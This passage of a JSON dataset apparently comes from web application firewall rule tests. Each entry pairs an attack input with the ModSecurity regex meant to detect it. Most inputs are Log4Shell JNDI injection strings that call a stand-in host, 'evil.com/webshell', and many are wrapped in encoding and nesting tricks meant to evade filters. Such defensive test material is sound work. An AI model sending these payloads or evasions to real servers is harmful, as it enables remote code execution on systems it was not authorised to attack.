"(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword B3aGlsZWNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"B3aGlsZWNsb3N1cmU\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword B3aGlsZWNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=${jndi:ldap://evil.com/webshell}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on arg foo" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "OWASP CRS test agent ${jndi:ldap://evil.com/webshell}" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on User-Agent" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><tag attribute=\"${jndi:ldap://evil.com/webshell}\"/>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit in XML code" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><tag>\"${jndi:ldap://evil.com/webshell}\"</tag>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit in XML code" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=${${env:FOO:-j}ndi:ldap://evil.com/webshell}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on arg foo, with evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=${${::-j}${::-n}${::-d}${::-i}:ldap://evil.com/webshell}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on arg foo, with evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=$${env:something:-${env:something:-$}{jndi:ldap://evil.com/webshell}}}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on arg foo, with evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=$\\u007Bjndi:ldap://evil.com/webshell}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on arg foo, with Unicode escape encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u007Bjndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with Unicode escape evasion, uppercase" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u007bjndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with Unicode escape evasion, lowercase" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"${jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with named HTML entity evasion, lower case" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$&LBRACE;jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with named HTML entity evasion, upper case" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"${jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with numeric HTML entity evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24%5Cu007Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with Unicode escape evasion, wrapped in URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"\\u002524%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with URL encoding evasion, wrapped in Unicode escape evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24\\u007Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with URL encoding evasion, mixed with Unicode escape evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24%26lbrace%3Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with named HTML entity evasion wrapped in URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%26%2336%3B%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with numeric HTML entity evasion wrapped in URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u0026lbrace;jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with named HTML entity evasion, wrapped in Unicode escape evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u0026#123;jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with numeric HTML entity evasion, wrapped in Unicode escape evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24{\\u006Andi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with named and numeric HTML entity evasion, mixed with unicode escape evasion and URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "${jndi:ldap://evil.om/w}" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on User-Agent header which is known to work against org.apache.commons:commons-text:1.9" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u0026lbracejndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on JSON with named HTML entity evasion, wrapped in Unicode escape evasion, omitting terminal semi-colon" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=$${env:somethingveryverylong:-${env:something:-$}{jndi:ldap://evilhost.com/webshell}}}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on arg foo, with evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u0026lbracesomethingnotcoveredbyotherrules\"}" } ], "attack_context": { "method": "POST", "location": [ 